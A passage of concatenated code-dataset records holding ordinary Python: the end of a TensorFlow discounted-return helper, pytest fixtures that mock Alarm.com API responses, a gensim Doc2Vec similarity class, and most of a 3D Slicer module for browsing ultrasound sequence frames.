discount = move_dim((rewards, values, discount), axis, 0)\n if final_value is None:\n final_value = tf.zeros_like(values[-1])\n next_values = tf.concat([values[1:], final_value[tf.newaxis]], 0)\n\n def fn(accumulated: tf.Tensor, current: Tuple[tf.Tensor, tf.Tensor, tf.Tensor]) -> tf.Tensor:\n reward, next_value, d = current\n return reward + d * ((1 - lambda_) * next_value + lambda_ * accumulated)\n\n return_ = scan(fn=fn,\n elems=(rewards, next_values, discount),\n initializer=final_value,\n back_prop=not stop_gradient,\n axis=0,\n reverse=True)\n if stop_gradient:\n return_ = tf.stop_gradient(return_)\n return move_dim(return_, 0, axis)\n","repo_name":"danmou/MerCur-Re","sub_path":"project/util/tf/discounting.py","file_name":"discounting.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"}
+{"seq_id":"40689092916","text":"\"\"\"Global fixture functions.\"\"\"\n\n# pylint: disable = redefined-outer-name\n\nfrom collections.abc import AsyncGenerator, Callable, Generator\n\nimport aiohttp\nimport pytest\nfrom aioresponses import aioresponses\n\nfrom pyalarmdotcomajax import AlarmController\nfrom pyalarmdotcomajax import const as c\nfrom pyalarmdotcomajax.devices.registry import AttributeRegistry, DeviceType\nfrom pyalarmdotcomajax.extensions import CameraSkybellControllerExtension\n\nfrom .responses import get_http_body_html, get_http_body_json\n\n\n@pytest.fixture\ndef response_mocker() -> Generator:\n \"\"\"Yield aioresponses.\"\"\"\n with aioresponses() as mocker:\n yield mocker\n\n\n@pytest.fixture\n@pytest.mark.asyncio\nasync def adc_client() -> AsyncGenerator:\n \"\"\"Build and return dummy controller for testing without Alarm.com API.\"\"\"\n\n async with aiohttp.ClientSession() as websession:\n yield AlarmController(\n username=\"test-username\",\n password=\"hunter2\", # noqa: S106\n websession=websession,\n twofactorcookie=\"test-cookie\",\n )\n\n\n@pytest.fixture\ndef all_base_ok_responses(response_mocker: aioresponses, all_base_ok_responses_callable: Callable) -> None:\n \"\"\"Shortcut for including all mocked success responses immediately.\"\"\"\n\n all_base_ok_responses_callable()\n\n\n@pytest.fixture\ndef all_base_ok_responses_callable(response_mocker: aioresponses) -> Callable:\n \"\"\"Shortcut for including all mocked success responses on demand.\"\"\"\n\n def _load_mocks(repeat: bool = True) -> None:\n ############\n ### META ###\n ############\n\n response_mocker.get(\n url=c.TROUBLECONDITIONS_URL_TEMPLATE.format(c.URL_BASE, \"\"),\n status=200,\n body=get_http_body_json(\"trouble_conditions_ok\"),\n repeat=repeat,\n )\n\n response_mocker.get(\n url=AlarmController.ALL_SYSTEMS_URL_TEMPLATE.format(c.URL_BASE),\n status=200,\n body=get_http_body_json(\"available_systems_ok\"),\n repeat=repeat,\n )\n\n response_mocker.get(\n url=c.IDENTITIES_URL_TEMPLATE.format(c.URL_BASE, \"\"),\n status=200,\n body=get_http_body_json(\"identities_ok\"),\n repeat=repeat,\n )\n\n ###############\n ### DEVICES ###\n ###############\n\n response_mocker.get(\n url=AttributeRegistry.get_endpoints(DeviceType.SYSTEM)[\"primary\"].format(c.URL_BASE, \"id-system\"),\n status=200,\n body=get_http_body_json(\"system_ok\"),\n repeat=repeat,\n )\n\n response_mocker.get(\n url=AttributeRegistry.get_endpoints(DeviceType.IMAGE_SENSOR)[\"primary\"].format(c.URL_BASE, \"\"),\n status=200,\n body=get_http_body_json(\"image_sensors_ok\"),\n repeat=repeat,\n )\n\n response_mocker.get(\n url=AttributeRegistry.get_endpoints(DeviceType.SCENE)[\"primary\"].format(c.URL_BASE, \"\"),\n status=200,\n body=get_http_body_json(\"scenes_ok\"),\n repeat=repeat,\n )\n\n response_mocker.get(\n url=AlarmController.ALL_DEVICES_URL_TEMPLATE.format(c.URL_BASE, \"id-system\"),\n status=200,\n body=get_http_body_json(\"device_catalog_ok\"),\n repeat=repeat,\n )\n\n response_mocker.get(\n url=AlarmController.ALL_RECENT_IMAGES_TEMPLATE.format(c.URL_BASE, \"\"),\n status=200,\n body=get_http_body_json(\"recent_images_ok\"),\n repeat=repeat,\n )\n\n ##################\n ### EXTENSIONS ###\n ##################\n\n response_mocker.get(\n url=CameraSkybellControllerExtension.ENDPOINT.format(c.URL_BASE),\n status=200,\n body=get_http_body_html(\"camera_settings_skybell\"),\n repeat=True,\n )\n\n return _load_mocks\n\n\n@pytest.fixture\ndef image_sensors_no_permission(response_mocker: aioresponses, all_base_ok_responses_callable: Callable) -> None:\n \"\"\"No permission to view devices.\"\"\"\n\n response_mocker.get(\n url=AlarmController.ALL_RECENT_IMAGES_TEMPLATE.format(c.URL_BASE, \"\"),\n status=200,\n body=get_http_body_json(\"processing_error\"),\n repeat=True,\n )\n\n all_base_ok_responses_callable()\n\n\n@pytest.fixture\ndef skybell_missing_video_quality_field(\n response_mocker: aioresponses, all_base_ok_responses_callable: Callable\n) -> None:\n \"\"\"Shortcut for including all mocked success responses.\"\"\"\n\n ##################\n ### EXTENSIONS ###\n ##################\n\n response_mocker.get(\n url=CameraSkybellControllerExtension.ENDPOINT.format(c.URL_BASE),\n status=200,\n body=get_http_body_html(\"camera_settings_skybell_missing_video_quality_field\"),\n repeat=True,\n )\n\n all_base_ok_responses_callable()\n\n\n@pytest.fixture\ndef device_catalog_no_permissions(response_mocker: aioresponses, all_base_ok_responses_callable: Callable) -> None:\n \"\"\"Shortcut for including all mocked success responses.\"\"\"\n\n response_mocker.get(\n url=AlarmController.ALL_DEVICES_URL_TEMPLATE.format(c.URL_BASE, \"id-system\"),\n status=200,\n body=get_http_body_json(\"no_permissions_or_invalid_antiforgery\"),\n repeat=True,\n )\n\n all_base_ok_responses_callable()\n","repo_name":"pyalarmdotcom/pyalarmdotcomajax","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":5322,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"82"}
+{"seq_id":"43666182996","text":"from typing import List\nimport nltk\nimport numpy as np\nfrom gensim.models.doc2vec import TaggedDocument, Doc2Vec\nfrom numpy.linalg import norm\n\ntry:\n nltk.data.find('tokenizers/punkt')\nexcept LookupError:\n nltk.download('punkt')\n\nDEFAULT_PARAMS = dict(vector_size=99, window=5, min_count=1, workers=4)\n\n\nclass Doc2VecModel:\n \"\"\"\n Doc2Vec maps documents, or a collection of words, to vectors in R^d space. The inverse distance between two vectors\n in this high-dimensional space gives us a concept of similarity between documents.\n\n Reference: https://radimrehurek.com/gensim/models/doc2vec.html\n \"\"\"\n\n def __init__(self, params=DEFAULT_PARAMS):\n self.model = Doc2Vec(**params)\n\n def train_model(self, documents: List[str]):\n print(\"Training doc2vec model...\", end=\" \")\n word_tokens = [nltk.tokenize.word_tokenize(r) for r in documents]\n documents = [TaggedDocument(r, [i]) for i, r in enumerate(word_tokens)]\n self.model.build_vocab(documents)\n self.model.train(documents, total_examples=len(documents), epochs=10)\n print(\"Done!\\n\")\n\n def to_vector(self, doc: str) -> np.ndarray:\n tokens = nltk.tokenize.word_tokenize(doc)\n return self.model.infer_vector(tokens)\n\n def pairwise_similarity(self, doc: str, other_doc: str) -> float:\n distance = self.to_vector(doc) - self.to_vector(other_doc)\n return 1 / norm(distance)\n","repo_name":"TheShiya/yelp-review-summarizer","sub_path":"summarize/doc2vec.py","file_name":"doc2vec.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"25945832289","text":"import logging\nimport vtk, qt\n\nimport slicer\nfrom slicer.ScriptedLoadableModule import *\nfrom slicer.util import VTKObservationMixin\n\nimport numpy as np\n\n'''=================================================================================================================='''\n'''=================================================================================================================='''\n'''------------------------- STRING Macro of sl__US_SeqViewer ------------------------------------------------------'''\n'''------------------------------------------------------------------------------------------------------------------'''\nINT_SliderFrameIndex_Min = 1 # StartingValue of slider_FrameIndex, increase from 1\nINT_FRAME_INDEX_SLIDER_DEFAULT = 50 # Default slider_FrameIndex value\nINT_FRAME_INDEX_SLIDER_DEFAULT_MAX = 99 # Default slider_FrameIndex maximum\n\n# ReferenceRole\nSTR_SeqBrowserNode_RefRole_Selected = 'SeqBrowser_Ref_CurSelected'\n\n\n\n'''=================================================================================================================='''\n#\n# sl__US_SeqViewer\n#\nclass sl__US_SeqViewer(ScriptedLoadableModule):\n\n def __init__(self, parent):\n ScriptedLoadableModule.__init__(self, parent)\n self.parent.title = \"sl__US_SeqViewer\"\n self.parent.categories = [\"SL_Tutorials\"] # Set categories (the module shows up in the module selector)\n self.parent.dependencies = [\"Markups\"] # Add here list of module names that this module requires\n self.parent.contributors = [\"Sen Li (École de Technologie Supérieure)\"]\n # TODO: 10. update with a link to online module Tutorial\n self.parent.helpText = \"\"\"This is sl__US_SeqViewer ! \"\"\"\n self.parent.helpText += self.getDefaultModuleDocumentationLink()\n self.parent.acknowledgementText = 'Step-by-step tutorial on 3D Slicer extension development. ' \\\n '\\nThis file was originally developed by Sen Li, LATIS, École de techonologie supérieure. ' \\\n '\\nSen.Li.1@ens.etsmtl.ca'\n\n print(\"sl__US_SeqViewer(ScriptedLoadableModule): __init__(self, parent)\")\n\n'''=================================================================================================================='''\nclass sl__US_SeqViewerWidget(ScriptedLoadableModuleWidget, VTKObservationMixin):\n\n def __init__(self, parent=None):\n \"\"\" Called when the user opens the module the first time and the widget is initialized. \"\"\"\n ScriptedLoadableModuleWidget.__init__(self, parent)\n VTKObservationMixin.__init__(self) # needed for parameter node observation\n self.logic = None\n self._parameterNode = None # Singleton initialized through self.setParameterNode(self.logic.getParameterNode())\n self._updatingGUIFromParameterNode = False\n\n print(\"**Widget.__init__(self, parent)\")\n\n def setup(self):\n print(\"**Widget.setup(self), \\tSL_Developer\")\n \"\"\" 00. Called when the user opens the module the first time and the widget is initialized. \"\"\"\n ScriptedLoadableModuleWidget.setup(self)\n\n # 01. Load widget from .ui file (created by Qt Designer).\n # Additional widgets can be instantiated manually and added to self.layout.\n uiWidget = slicer.util.loadUI(self.resourcePath('UI/sl__US_SeqViewer.ui'))\n self.layout.addWidget(uiWidget)\n self.ui = slicer.util.childWidgetVariables(uiWidget)\n\n # 02. Set scene in MRML widgets. Make sure that in Qt designer the\n # top-level qMRMLWidget's \"mrmlSceneChanged(vtkMRMLScene*)\" signal in is connected to\n # each MRML widget's \"setMRMLScene(vtkMRMLScene*)\" slot.\n uiWidget.setMRMLScene(slicer.mrmlScene)\n\n # 03. Create logic class. Logic implements all computations that should be possible to run\n # in batch mode, without a graphical user interface.\n self.logic = sl__US_SeqViewerLogic()\n\n # 04. Connections, ensure that we update parameter node when scene is closed\n self.addObserver(slicer.mrmlScene, slicer.mrmlScene.StartCloseEvent, self.onSceneStartClose)\n self.addObserver(slicer.mrmlScene, slicer.mrmlScene.EndCloseEvent, self.onSceneEndClose)\n\n # 05. SL_Developer. Connect Signal-Slot, ensure that whenever user changes some settings on the GUI,\n # that is saved in the MRML scene (in the selected parameter node).\n self.ui.sequenceSelector.connect(\"currentNodeChanged(vtkMRMLNode*)\", self.onSelectedNodeChanged)\n slicer.modules.sequences.toolBar().activeBrowserNodeChanged.connect(self.onSelectedNodeChanged)\n\n self.ui.slider_SeqFrame.connect(\"valueChanged(int)\", self.onSliderFrameIndex_ValueChanged)\n\n\n # 06. Needed for programmer-friendly Module-Reload where the Module had already been enter(self)-ed;\n # Otherwise, will initial through function enter(self)\n if self.parent.isEntered:\n self.initializeParameterNode() # Every-Module own a Singleton ParameterNode track by **Logic.moduleName!\n\n # ------------------------------------------------------------------------------------------------------------------\n def cleanup(self):\n \"\"\" Called when the application closes and the module widget is destroyed. \"\"\"\n print(\"**Widget.cleanup(self)\")\n self.removeObservers()\n\n # ------------------------------------------------------------------------------------------------------------------\n def enter(self):\n \"\"\" Called each time the user opens this module. \"\"\"\n print(\"**Widget.enter(self)\")\n\n # 01. Slicer. SL__Note: Every-Module own a Singleton ParameterNode that can be identified by\n # self._parameterNode.GetAttribute('ModuleName')! Need to initial every Entry!\n self.initializeParameterNode()\n\n # ------------------------------------------------------------------------------------------------------------------\n def exit(self):\n \"\"\" Called each time the user opens a different module. \"\"\"\n print(\"**Widget.exit(self)\")\n # Slicer. Do not react to parameter node changes (GUI will be updated when the user enters into the module)\n self.removeObserver(self._parameterNode, vtk.vtkCommand.ModifiedEvent, self.updateGUIFromParameterNode)\n\n # ------------------------------------------------------------------------------------------------------------------\n def onSceneStartClose(self, caller, event):\n \"\"\" Called just before the scene is closed. \"\"\"\n print(\"**Widget.onSceneStartClose(self, caller, event)\")\n\n # Slicer. Parameter node will be reset, do not use it anymore\n self.setParameterNode(None)\n\n # ------------------------------------------------------------------------------------------------------------------\n def onSceneEndClose(self, caller, event):\n \"\"\" Called just after the scene is closed. \"\"\"\n print(\"**Widget.onSceneEndClose(self, caller, event)\")\n # If this module is shown while the scene is closed then recreate a new parameter node immediately\n if self.parent.isEntered:\n self.initializeParameterNode()\n\n # ------------------------------------------------------------------------------------------------------------------\n def initializeParameterNode(self):\n \"\"\" Ensure parameter node exists and observed. \"\"\"\n # 01. Slicer-Initial: the Singleton ParameterNode stores all user choices in param-values, node selections...\n # so that when the scene is saved and reloaded, these settings are restored.\n self.setParameterNode(self.logic.getParameterNode())\n\n # 02. SL_Developer. To update ParameterNode and attach observers\n pass\n\n\n # ------------------------------------------------------------------------------------------------------------------\n def setParameterNode(self, inputParameterNode):\n \"\"\" SL_Notes: Set and observe the Singleton ParameterNode.\n Observation is needed because when ParameterNode is changed then the GUI must be updated immediately.\n \"\"\"\n print(\"**Widget.setParameterNode(self, inputParameterNode)\")\n if inputParameterNode:\n if not inputParameterNode.IsSingleton():\n raise ValueError(f'SL__Allert! \\tinputParameterNode = \\n{inputParameterNode.__str__()}')\n self.logic.setDefaultParameters(inputParameterNode)\n\n # 01. Unobserve previously selected Singleton ParameterNode;\n if self._parameterNode is not None:\n self.removeObserver(self._parameterNode, vtk.vtkCommand.ModifiedEvent, self.updateGUIFromParameterNode)\n # 02. Set new Singleton ParameterNode and Add an observer to the newly selected\n self._parameterNode = inputParameterNode\n if self._parameterNode is not None:\n self.addObserver(self._parameterNode, vtk.vtkCommand.ModifiedEvent, self.updateGUIFromParameterNode)\n # 03. Initial GUI update; need to do this GUI update whenever there is a change from the Singleton ParameterNode\n self.updateGUIFromParameterNode()\n\n # ==================================================================================================================\n # ==================================================================================================================\n # =========== SL_Developer, Section I: get, set, obtain ================================\n # ------------------------------------------------------------------------------------------------------------------\n def getSelectedItemNumber_FromGUI_Slider(self):\n # Slider FrameIndex starts from 1, but idx_SelectedItemNumber starts 0.\n idx_CurSeqBrowser_SelectedItemNumber = self.ui.slider_SeqFrame.value - INT_SliderFrameIndex_Min\n return idx_CurSeqBrowser_SelectedItemNumber\n\n # ------------------------------------------------------------------------------------------------------------------\n # ==================================================================================================================\n # ==================================================================================================================\n # =========== SL_Developer, Section II-A: updateGUIFromParameterNode__ & Slots that call uiUpdate =\n # ------------------------------------------------------------------------------------------------------------------\n def updateGUIFromParameterNode(self, caller=None, event=None):\n \"\"\" This method is called whenever parameter node is changed.\n The module GUI is updated to show the current state of the parameter node. \"\"\"\n # 00. Check self._updatingGUIFromParameterNode to prevent from GUI changes\n # (it could cause infinite loop: GUI change -> UpdateParamNode -> Update GUI -> UpdateParamNode)\n if self._parameterNode is None or self._updatingGUIFromParameterNode:\n return\n\n # I. Open-Brace: Make sure GUI changes do not call updateParameterNodeFromGUI__ (it could cause infinite loop)\n self._updatingGUIFromParameterNode = True\n # --------------------------------------------------------------------------------------------------------------\n # II. SL_Developer, C: In-Brace, Update UI widgets ()\n print(\"**Widget.updateGUIFromParameterNode(self, caller=None, event=None), \\tSL_Developer\")\n # II-01. Update Values of Node-Selectors (qMRMLNodeComboBox)\n nodeSeqBrowser_Selected = self._parameterNode.GetNodeReference(STR_SeqBrowserNode_RefRole_Selected)\n self.ui.sequenceSelector.setCurrentNode(nodeSeqBrowser_Selected)\n # II-02. Update Status of slider_SeqFrame, and label_FrameIndex: QLabel, Sliders (ctkSliderWidget)\n self.uiUpdate_Slider_SeqFrame__by__nodeSeqBrowser_Selected(nodeSeqBrowser_Selected)\n\n # --------------------------------------------------------------------------------------------------------------\n # III. Close-Brace: All the GUI updates are done;\n self._updatingGUIFromParameterNode = False\n\n # ------------------------------------------------------------------------------------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n def onSliderFrameIndex_ValueChanged(self, caller=None, event=None):\n ''' SL_Notes: Not UserOnly function, can be called when a target_ControlPoint is selected! ''' ''''''\n # 00. Check Singleton ParameterNode: in case of enter() or onSceneStartClose()\n if self._parameterNode is None or self._updatingGUIFromParameterNode:\n return\n\n # 01. LogicUpdate: nodeSeqBrowser's Current-SelectedItemNumber\n idx_CurFrame = self.getSelectedItemNumber_FromGUI_Slider()\n self.logic.logicUpdate_SwitchSelection_SelectedSeqBrowser_ChangeFrameIndex(idx_CurFrame)\n print(f'\\t**Widget.onSliderFrameIndex_ValueChanged,\\tidx_CurFrame = {idx_CurFrame}')\n\n # 02. uiUpdate: LandmarkPositionLabels\n self._updatingGUIFromParameterNode = True # I. Open-Brace: Avoid updateParameterNodeFromGUI__ (infinite loop)\n self.uiUpdate_SwitchSelection_SelectedSeqBrowser_ChangeFrameIndex() # II. In-Brace: uiUpdate\n self._updatingGUIFromParameterNode = False # III. Close-Brace: All the GUI updates are done;\n\n # ------------------------------------------------------------------------------------------------------------------\n def onSelectedNodeChanged(self, node_NewActiveBrowser=None, event=None):\n ''' SL_Notes: Not UserOnly function, can be called when a target_ControlPoint is selected! ''' ''''''\n print(f\"\\nBeginning of **Widget.onSelectedNodeChanged(): \\tnode_NewActiveBrowser =\"\n f\" {node_NewActiveBrowser.GetID() if node_NewActiveBrowser else type(node_NewActiveBrowser)}\")\n # 00-A. Check Singleton ParameterNode: important test for every NodeChange Slot, in case of onSceneStartClose()\n # Check _updatingGUIFromParameterNode: avoid bugs introduced by Slicer (PointAdded, PointPositionDefined)\n if self._parameterNode is None or self._updatingGUIFromParameterNode:\n return\n # 00-B. Check the validity of node_NewActiveBrowser\n if not node_NewActiveBrowser:\n return\n\n # 01. LogicUpdate\n self.updateParameterNodeFromGUI__Set_RefRoleNodeID(STR_SeqBrowserNode_RefRole_Selected, node_NewActiveBrowser.GetID())\n\n # 02. uiUpdate: update slider_SeqFrame\n if self.parent.isEntered:\n # I. Open-Brace: Make sure GUI changes do not call updateParameterNodeFromGUI__ (it could cause infinite loop)\n self._updatingGUIFromParameterNode = True\n # --------------------------------------------------------------------------------------------------------------\n # II-02-A. Re-Set sequenceSelector, just in case the Signal sender is Sequences.toolBar()\n self.ui.sequenceSelector.setCurrentNode(node_NewActiveBrowser)\n # II-02-B. Re-Set modules.sequences active SeqBrowser, just in case the Signal sender is Laminae-Labeling\n slicer.modules.sequences.widgetRepresentation().setActiveBrowserNode(node_NewActiveBrowser)\n # II-02-C. Push Slicer Screen refresh before uiUpdate\n self.uiUpdate_PushSlicerScreenUpdate_by_ShakeTargetSeqBrowser(node_NewActiveBrowser)\n # II-02-D. Start uiUpdate\n self.uiUpdate_SwitchSelection_ChangeSeqBrowser_RemainFrameIndex(node_NewActiveBrowser)\n # --------------------------------------------------------------------------------------------------------------\n # III. Close-Brace: All the GUI updates are done;\n self._updatingGUIFromParameterNode = False\n\n # ------------------------------------------------------------------------------------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n # ==================================================================================================================\n # ----------- Section II-B: Sub-Functions called by updateGUIFromParameterNode__ or Slot functions ---\n # ----- 1. All sub-functions starts with uiUpdate ----------------------------------------------------\n # ----- 2. All uiUpdate functions canNOT set self._updatingGUIFromParameterNode ----\n # ----- 3. The superior function who call uiUpdate function MUST set self._updatingGUIFromParameterNode ----\n # ------------------------------------------------------------------------------------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n def uiUpdate_Slider_SeqFrame__by__nodeSeqBrowser_Selected(self, nodeSeqBrowser_Selected):\n ''' **Widget.uiUpdate_Slider_SeqFrame__by__nodeSeqBrowser_Selected(self, nodeSeqBrowser_Selected) ''' ''''''\n if nodeSeqBrowser_Selected:\n str_CurSeqBrowser_ID = 'nodeSeqBrowser_Selected.GetID() = ' + nodeSeqBrowser_Selected.GetID()\n str_NumberOfItems = '.GetNumberOfItems() = ' + str(nodeSeqBrowser_Selected.GetNumberOfItems())\n str_idxFrame = f', \\tidxFrame = {self.logic.obtain_idxSliderCurFrame_from_TargetSeqBrowser(nodeSeqBrowser_Selected)}'\n else:\n str_CurSeqBrowser_ID = 'CurSeqBrowser.GetID() = ' + str(type(nodeSeqBrowser_Selected))\n str_NumberOfItems = ''\n str_idxFrame = ''\n print(f\"\\t**Widget.uiUpdate_Slider_SeqFrame__by__nodeSeqBrowser_Selected(), {str_CurSeqBrowser_ID}, {str_NumberOfItems}{str_idxFrame}\")\n\n if nodeSeqBrowser_Selected and nodeSeqBrowser_Selected.GetNumberOfItems() > 0:\n self.ui.slider_SeqFrame.enabled = True\n self.ui.slider_SeqFrame.minimum = INT_SliderFrameIndex_Min\n self.ui.slider_SeqFrame.maximum = nodeSeqBrowser_Selected.GetNumberOfItems()\n self.ui.slider_SeqFrame.value = self.logic.obtain_idxSliderCurFrame_from_TargetSeqBrowser(nodeSeqBrowser_Selected)\n self.ui.label_FrameIndex.setText(str(self.ui.slider_SeqFrame.value))\n else:\n # No SequenceBrowser_Node available, so we disable the slider_SeqFrame, and set label_FrameIndex 'N/A'\n self.ui.slider_SeqFrame.enabled = False\n self.ui.slider_SeqFrame.minimum = INT_SliderFrameIndex_Min\n self.ui.slider_SeqFrame.maximum = INT_FRAME_INDEX_SLIDER_DEFAULT_MAX\n self.ui.slider_SeqFrame.value = INT_FRAME_INDEX_SLIDER_DEFAULT\n self.ui.label_FrameIndex.setText('N/A')\n\n # ------------------------------------------------------------------------------------------------------------------\n # ==================================================================================================================\n # ------------------------------------------------------------------------------------------------------------------\n def uiUpdate_SwitchSelection_ChangeSeqBrowser_RemainFrameIndex(self, node_NewActiveBrowser):\n ''' **Widget.uiUpdate_SwitchSelection_ChangeSeqBrowser_RemainFrameIndex(self, nodeTarget_SeqBrowser) ''' ''''''\n # 00-A. Check if the module isEntered\n if not self.parent.isEntered: return\n # 00-B. Check the validity of nodeTarget_SeqBrowser\n if not node_NewActiveBrowser: return\n\n # 01. Update slider_SeqFrame\n if node_NewActiveBrowser:\n str_CurSeqBrowser_ID = 'node_NewActiveBrowser.GetID() = ' + node_NewActiveBrowser.GetID()\n str_NumberOfItems = 'idx_SeqBrowserSelectedItem = ' + str(node_NewActiveBrowser.GetNumberOfItems())\n else:\n str_CurSeqBrowser_ID = 'node_NewActiveBrowser.GetID() = ' + str(type(node_NewActiveBrowser))\n str_NumberOfItems = ''\n print(f\"\\t**Widget.uiUpdate_SwitchSelection_ChangeSeqBrowser_RemainFrameIndex(), {str_CurSeqBrowser_ID}, {str_NumberOfItems}\")\n self.uiUpdate_Slider_SeqFrame__by__nodeSeqBrowser_Selected(node_NewActiveBrowser)\n\n\n # ------------------------------------------------------------------------------------------------------------------\n def uiUpdate_SwitchSelection_SelectedSeqBrowser_ChangeFrameIndex(self):\n ''' **Widget.uiUpdate_SwitchSelection_SelectedSeqBrowser_ChangeFrameIndex(self) \n There are two modes to trigger this uiUpdate: UI modified / Non-UI (node) modified.\n To guarantee the Non-UI mode, we will update all UI widgets (including the possible TriggerMan UI widget).\n All uiUpdate can be done by logicUpdated nodeSeqBrowser_Selected, thus argument idx_TargetFrame NotRequired.\n ''' ''''''\n # 00-A. Check if the module isEntered\n if not self.parent.isEntered: return\n # 00-B. Check the validity of nodeSeqBrowser_Selected\n nodeSeqBrowser_Selected = self._parameterNode.GetNodeReference(STR_SeqBrowserNode_RefRole_Selected)\n if not nodeSeqBrowser_Selected: return\n\n # 01. Update the uiSlider\n self.uiUpdate_Slider_SeqFrame__by__nodeSeqBrowser_Selected(nodeSeqBrowser_Selected)\n\n\n # ------------------------------------------------------------------------------------------------------------------\n def uiUpdate_PushSlicerScreenUpdate_by_ShakeTargetSeqBrowser(self, nodeTarget_SeqBrowser):\n print(f' **Widget.uiUpdate_PushSlicerScreenUpdate_by_ShakeTargetSeqBrowser()')\n if nodeTarget_SeqBrowser:\n # Let's push Slicer to update by Setting current selected frame back and forth\n idx_curFrame = nodeTarget_SeqBrowser.GetSelectedItemNumber()\n\n nodeTarget_SeqBrowser.SetSelectedItemNumber(max(idx_curFrame - 1, 0))\n nodeTarget_SeqBrowser.SetSelectedItemNumber(min(idx_curFrame + 1, nodeTarget_SeqBrowser.GetNumberOfItems() - 1))\n nodeTarget_SeqBrowser.SetSelectedItemNumber(idx_curFrame)\n\n # ==================================================================================================================\n # ==================================================================================================================\n # =========== SL_Developer, Section IV: updateParameterNodeFromGUI__ ==============================\n # ------------------------------------------------------------------------------------------------------------------\n def updateParameterNodeFromGUI__Set_RefRoleNodeID(self, STR_RefRole, str_NodeID):\n \"\"\" Read GUI Method: Method updateParameterNodeFromGUI__ is called when users makes any change in the GUI.\n Changes are saved into the parameter node (so that they are restored when the scene is saved and loaded).\n **Widget.updateParameterNodeFromGUI__Set_RefRoleNodeID(self, STR_RefRole, str_NodeID) \"\"\"\n if self._parameterNode is None or self._updatingGUIFromParameterNode:\n return\n\n # I. Before updating the Singleton ParameterNode; Disable Modify events, e.g., vtk.vtkCommand.ModifiedEvent\n wasModified = self._parameterNode.StartModify() # Modify all properties in a single batch\n\n # II. Update the Singleton ParameterNode; No updateGUIFromParameterNode triggered in this step\n node_BeforeChange = self._parameterNode.GetNodeReference(STR_RefRole)\n if node_BeforeChange: str_NodeBeforeChange = self._parameterNode.GetNodeReference(STR_RefRole).GetID()\n else: str_NodeBeforeChange = \"\"\n print(f'\\tBefore Update: {str_NodeBeforeChange}')\n self._parameterNode.SetNodeReferenceID(STR_RefRole, str_NodeID)\n print(f'\\tAfter Update: {self._parameterNode.GetNodeReference(STR_RefRole).GetID()}')\n\n # III. After updating the Singleton ParameterNode; Enable Modify events, e.g., vtk.vtkCommand.ModifiedEvent\n self._parameterNode.EndModify(wasModified)\n\n\n # ------------------------------------------------------------------------------------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n''' ================================================================================================================='''\n#\n# sl__US_SeqViewerLogic\n#\nclass sl__US_SeqViewerLogic(ScriptedLoadableModuleLogic):\n \"\"\" The Logic class is : to facilitate dynamic reloading of the module without restarting the application.\n This class should implement all the actual computation done by your module. \n The interface should be such that other python code can import this class \n and make use of the functionality without requiring an instance of the Widget.\n Uses ScriptedLoadableModuleLogic base class, available at:\n https://github.com/Slicer/Slicer/blob/master/Base/Python/slicer/ScriptedLoadableModule.py\n \"\"\"\n\n def __init__(self):\n \"\"\" Called when the logic class is instantiated. Can be used for initializing member variables. \"\"\"\n ScriptedLoadableModuleLogic.__init__(self)\n\n self._isSwitchingSeqBrowser = False\n\n # ==================================================================================================================\n # ==================================================================================================================\n # =========== SL_Developer, Section VI: get, set, obtain, & createNewNode =====================\n # ------------------------------------------------------------------------------------------------------------------\n def obtain_idxSliderCurFrame_from_TargetSeqBrowser(self, nodeTarget_SeqBrowser):\n ''' **Logic.obtain_idxSliderCurFrame_from_TargetSeqBrowser(self, nodeTarget_SeqBrowser) ''' ''''''\n idx_SliderCurFrame = nodeTarget_SeqBrowser.GetSelectedItemNumber() + INT_SliderFrameIndex_Min\n return idx_SliderCurFrame\n\n\n # ------------------------------------------------------------------------------------------------------------------\n # ==================================================================================================================\n # ==================================================================================================================\n # =========== SL_Developer, Section VII-A: logicUpdate & Functions that call paramNodeUpdate ====\n # ------------------------------------------------------------------------------------------------------------------\n def setDefaultParameters(self, parameterNode):\n \"\"\" SL_Developer, B: Initialize parameter node, Re-Enter, Re-Load. \"\"\"\n print(\"**Logic.setDefaultParameters(self, parameterNode), \\tSL_Developer, B\");\n # I. Before updating the Singleton ParameterNode; Disable Modify events, e.g., vtk.vtkCommand.ModifiedEvent\n wasModified = parameterNode.StartModify() # Modify all properties in a single batch\n # --------------------------------------------------------------------------------------------------------------\n # II. Update the Singleton ParameterNode; No updateGUIFromParameterNode triggered in this step\n # II-01. Set NodeRef for curSelected SeqBrowser, select the first if not selected\n if not parameterNode.GetNodeReference(STR_SeqBrowserNode_RefRole_Selected):\n node_SeqBrowser_First = slicer.mrmlScene.GetFirstNodeByClass(\"vtkMRMLSequenceBrowserNode\")\n if node_SeqBrowser_First:\n # II-01-A. Set NodeRefID for paramNode\n parameterNode.SetNodeReferenceID(STR_SeqBrowserNode_RefRole_Selected, node_SeqBrowser_First.GetID())\n # II-01-B. Synchronize with modules.sequences's SequenceBrowser active node\n slicer.modules.sequences.widgetRepresentation().setActiveBrowserNode(node_SeqBrowser_First)\n else:\n # II-01-C. Already got NodeRefID for paramNode, we only need to Synchronize with modules.sequences\n nodeSeqBrowser_Selected = parameterNode.GetNodeReference(STR_SeqBrowserNode_RefRole_Selected)\n slicer.modules.sequences.widgetRepresentation().setActiveBrowserNode(nodeSeqBrowser_Selected)\n\n # --------------------------------------------------------------------------------------------------------------\n # III. After updating the Singleton ParameterNode; Enable Modify events, e.g., vtk.vtkCommand.ModifiedEvent\n parameterNode.EndModify(wasModified)\n\n\n # ------------------------------------------------------------------------------------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n # ----------- Section VII-B: Sub-Functions with prefix/surfix paramNodeUpdate ----------------------\n # ----- 1. All sub-functions prefix/surfix with paramNodeUpdate; --------------------------------------\n # ------2. All paramNodeUpdate functions canNOT self.getParameterNode().StartModify() ---\n # ------3. The superior function who call paramNodeUpdate function MUST self.getParameterNode().StartModify() ---\n # ------------------------------------------------------------------------------------------------------------------\n\n\n # ------------------------------------------------------------------------------------------------------------------\n # 